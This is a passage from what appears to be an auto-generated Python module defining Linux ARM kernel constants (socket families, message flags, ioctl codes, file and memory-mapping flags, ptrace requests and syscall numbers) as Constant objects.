Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o40000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)\nO_DIRECT = Constant('O_DIRECT',0o200000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nUSR26_MODE = Constant('USR26_MODE',0x00)\nFIQ26_MODE = Constant('FIQ26_MODE',0x01)\nIRQ26_MODE = Constant('IRQ26_MODE',0x02)\nSVC26_MODE = Constant('SVC26_MODE',0x03)\nUSR_MODE = Constant('USR_MODE',0x10)\nFIQ_MODE = Constant('FIQ_MODE',0x11)\nIRQ_MODE = Constant('IRQ_MODE',0x12)\nSVC_MODE = Constant('SVC_MODE',0x13)\nABT_MODE = Constant('ABT_MODE',0x17)\nUND_MODE = Constant('UND_MODE',0x1b)\nSYSTEM_MODE = Constant('SYSTEM_MODE',0x1f)\nMODE_MASK = Constant('MODE_MASK',0x1f)\nT_BIT = Constant('T_BIT',0x20)\nF_BIT = Constant('F_BIT',0x40)\nI_BIT = Constant('I_BIT',0x80)\nCC_V_BIT = Constant('CC_V_BIT',(1 << 28))\nCC_C_BIT = Constant('CC_C_BIT',(1 << 29))\nCC_Z_BIT = Constant('CC_Z_BIT',(1 << 30))\nCC_N_BIT = Constant('CC_N_BIT',(1 << 31))\nPCMASK = Constant('PCMASK',0)\nSYS_accept = Constant('SYS_accept',(0+285))\nSYS_accept4 = Constant('SYS_accept4',(0+366))\nSYS_access = Constant('SYS_access',(0+ 33))\nSYS_acct = Constant('SYS_acct',(0+ 51))\nSYS_add_key = Constant('SYS_add_key',(0+309))\nSYS_adjtimex = Constant('SYS_adjtimex',(0+124))\nSYS_alarm = Constant('SYS_alarm',(0+ 27))\nSYS_arm_fadvise64_64 = Constant('SYS_arm_fadvise64_64',(0+270))\nSYS_arm_sync_file_range = Constant('SYS_arm_sync_file_range',(0+341))\nSYS_bdflush = Constant('SYS_bdflush',(0+134))\nSYS_bind = Constant('SYS_bind',(0+282))\nSYS_bpf = Constant('SYS_bpf',(0+386))\nSYS_brk = Constant('SYS_brk',(0+ 45))\nSYS_capget = Constant('SYS_capget',(0+184))\nSYS_capset = Constant('SYS_capset',(0+185))\nSYS_chdir = Constant('SYS_chdir',(0+ 12))\nSYS_chmod = Constant('SYS_chmod',(0+ 15))\nSYS_chown = Constant('SYS_chown',(0+182))\nSYS_chown32 = Constant('SYS_chown32',(0+212))\nSYS_chroot = Constant('SYS_chroot',(0+ 61))\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',(0+372))\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(0 + 405))\nSYS_clock_getres = Constant('SYS_clock_getres',(0+264))\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(0 + 406))\nSYS_clock_gettime = Constant('SYS_clock_gettime',(0+263))\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',(0 + 403))\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(0+265))\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(0 + 407))\nSYS_clock_settime = Constant('SYS_clock_settime',(0+262))\nSYS_clock_settime64 = Constant('SYS_clock_settime64',(0 + 404))\nSYS_clone = Constant('SYS_clone',(0+120))\nSYS_clone3 = Constant('SYS_clone3',(0 + 435))\nSYS_close = Constant('SYS_close',(0+  6))\nSYS_connect = Constant('SYS_connect',(0+283))\nSYS_copy_file_range = Constant('SYS_copy_file_range',(0+391))\nSYS_creat = Constant('SYS_creat',(0+  8))\nSYS_delete_module = Constant('SYS_delete_module',(0+129))\nSYS_dup = Constant('SYS_dup',(0+ 41))\nSYS_dup2 = Constant('SYS_dup2',(0+ 63))\nSYS_dup3 = Constant('SYS_dup3',(0+358))\nSYS_epoll_create = Constant('SYS_epoll_create',(0+250))\nSYS_epoll_create1 = Constant('SYS_epoll_create1',(0+357))\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',(0+251))\nSYS_epoll_wait = Constant('SYS_epoll_wait',(0+252))\nSYS_eventfd = Constant('SYS_eventfd',(0+351))\nSYS_eventfd2 = Constant('SYS_eventfd2',(0+356))\nSYS_execve = Constant('SYS_execve',(0+ 11))\nSYS_execveat = Constant('SYS_execveat',(0+387))\nSYS_exit = Constant('SYS_exit',(0+  1))\nSYS_exit_group = Constant('SYS_exit_group',(0+248))\nSYS_faccessat = Constant('SYS_faccessat',(0+334))\nSYS_fallocate = Constant('SYS_fallocate',(0+352))\nSYS_fanotify_init = Constant('SYS_fanotify_init',(0+367))\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',(0+368))\nSYS_fchdir = Constant('SYS_fchdir',(0+133))\nSYS_fchmod = Constant('SYS_fchmod',(0+ 94))\nSYS_fchmodat = Constant('SYS_fchmodat',(0+333))\nSYS_fchown = Constant('SYS_fchown',(0+ 95))\nSYS_fchown32 = Constant('SYS_fchown32',(0+207))\nSYS_fchownat = Constant('SYS_fchownat',(0+325))\nSYS_fcntl = Constant('SYS_fcntl',(0+ 55))\nSYS_fcntl64 = Constant('SYS_fcntl64',(0+221))\nSYS_fdatasync = Constant('SYS_fdatasync',(0+148))\nSYS_fgetxattr = Constant('SYS_fgetxattr',(0+231))\nSYS_finit_module = Constant('SYS_finit_module',(0+379))\nSYS_flistxattr = Constant('SYS_flistxattr',(0+234))\nSYS_flock = Constant('SYS_flock',(0+143))\nSYS_fork = Constant('SYS_fork',(0+  2))\nSYS_fremovexattr = Constant('SYS_fremovexattr',(0+237))\nSYS_fsconfig = Constant('SYS_fsconfig',(0 + 431))\nSYS_fsetxattr = Constant('SYS_fsetxattr',(0+228))\nSYS_fsmount = Constant('SYS_fsmount',(0 + 432))\nSYS_fsopen = Constant('SYS_fsopen',(0 + 430))\nSYS_fspick = Constant('SYS_fspick',(0 + 433))\nSYS_fstat = Constant('SYS_fstat',(0+108))\nSYS_fstat64 = Constant('SYS_fstat64',(0+197))\nSYS_fstatat64 = Constant('SYS_fstatat64',(0+327))\nSYS_fstatfs = Constant('SYS_fstatfs',(0+100))\nSYS_fstatfs64 = Constant('SYS_fstatfs64',(0+267))\nSYS_fsync = Constant('SYS_fsync',(0+118))\nSYS_ftruncate = Constant('SYS_ftruncate',(0+ 93))\nSYS_ftruncate64 = Constant('SYS_ftruncate64',(0+194))\nSYS_futex = Constant('SYS_futex',(0+240))\nSYS_futex_time64 = Constant('SYS_futex_time64',(0 + 422))\nSYS_futimesat = Constant('SYS_futimesat',(0+326))\nSYS_getcpu = Constant('SYS_getcpu',(0+345))\nSYS_getcwd = Constant('SYS_getcwd',(0+183))\nSYS_getdents = Constant('SYS_getdents',(0+141))\nSYS_getdents64 = Constant('SYS_getdents64',(0+217))\nSYS_getegid = Constant('SYS_getegid',(0+ 50))\nSYS_getegid32 = Constant('SYS_getegid32',(0+202))\nSYS_geteuid = Constant('SYS_geteuid',(0+ 49))\nSYS_geteuid32 = Constant('SYS_geteuid32',(0+201))\nSYS_getgid = Constant('SYS_getgid',(0+ 47))\nSYS_getgid32 = Constant('SYS_getgid32',(0+200))\nSYS_getgroups = Constant('SYS_getgroups',(0+ 80))\nSYS_getgroups32 = Constant('SYS_getgroups32',(0+205))\nSYS_getitimer = Constant('SYS_getitimer',(0+105))\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',(0+320))\nSYS_getpeername = Constant('SYS_getpeername',(0+287))\nSYS_getpgid = Constant('SYS_getpgid',(0+132))\nSYS_getpgrp = Constant('SYS_getpgrp',(0+ 65))\nSYS_getpid = Constant('SYS_getpid',(0+ 20))\nSYS_getppid = Constant('SYS_getppid',(0+ 64))\nSYS_getpriority = Constant('SYS_getpriority',(0+ 96))\nSYS_getrandom = Constant('SYS_getrandom',(0+384))\nSYS_getresgid = Constant('SYS_getresgid',(0+171))\nSYS_getresgid32 = Constant('SYS_getresgid32',(0+211))\nSYS_getresuid = Constant('SYS_getresuid',(0+165))\nSYS_getresuid32 = Constant('SYS_getresuid32',(0+209))\nSYS_getrlimit = Constant('SYS_getrlimit',(0+ 76))\nSYS_get_robust_list = Constant('SYS_get_robust_list',(0+339))\nSYS_getrusage = Constant('SYS_getrusage',(0+ 77))\nSYS_getsid = Constant('SYS_getsid',(0+147))\nSYS_getsockname = Constant('SYS_getsockname',(0+286))\nSYS_getsockopt = Constant('SYS_getsockopt',(0+295))\nSYS_gettid = Constant('SYS_gettid',(0+224))\nSYS_gettimeofday = Constant('SYS_gettimeofday',(0+ 78))\nSYS_getuid = Constant('SYS_getuid',(0+ 24))\nSYS_getuid32 = Constant('SYS_getuid32',(0+199))\nSYS_getxattr = Constant('SYS_getxattr',(0+229))\nSYS_init_module = Constant('SYS_init_module',(0+128))\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(0+317))\nSYS_inotify_init = Constant('SYS_inotify_init',(0+316))\nSYS_inotify_init1 = 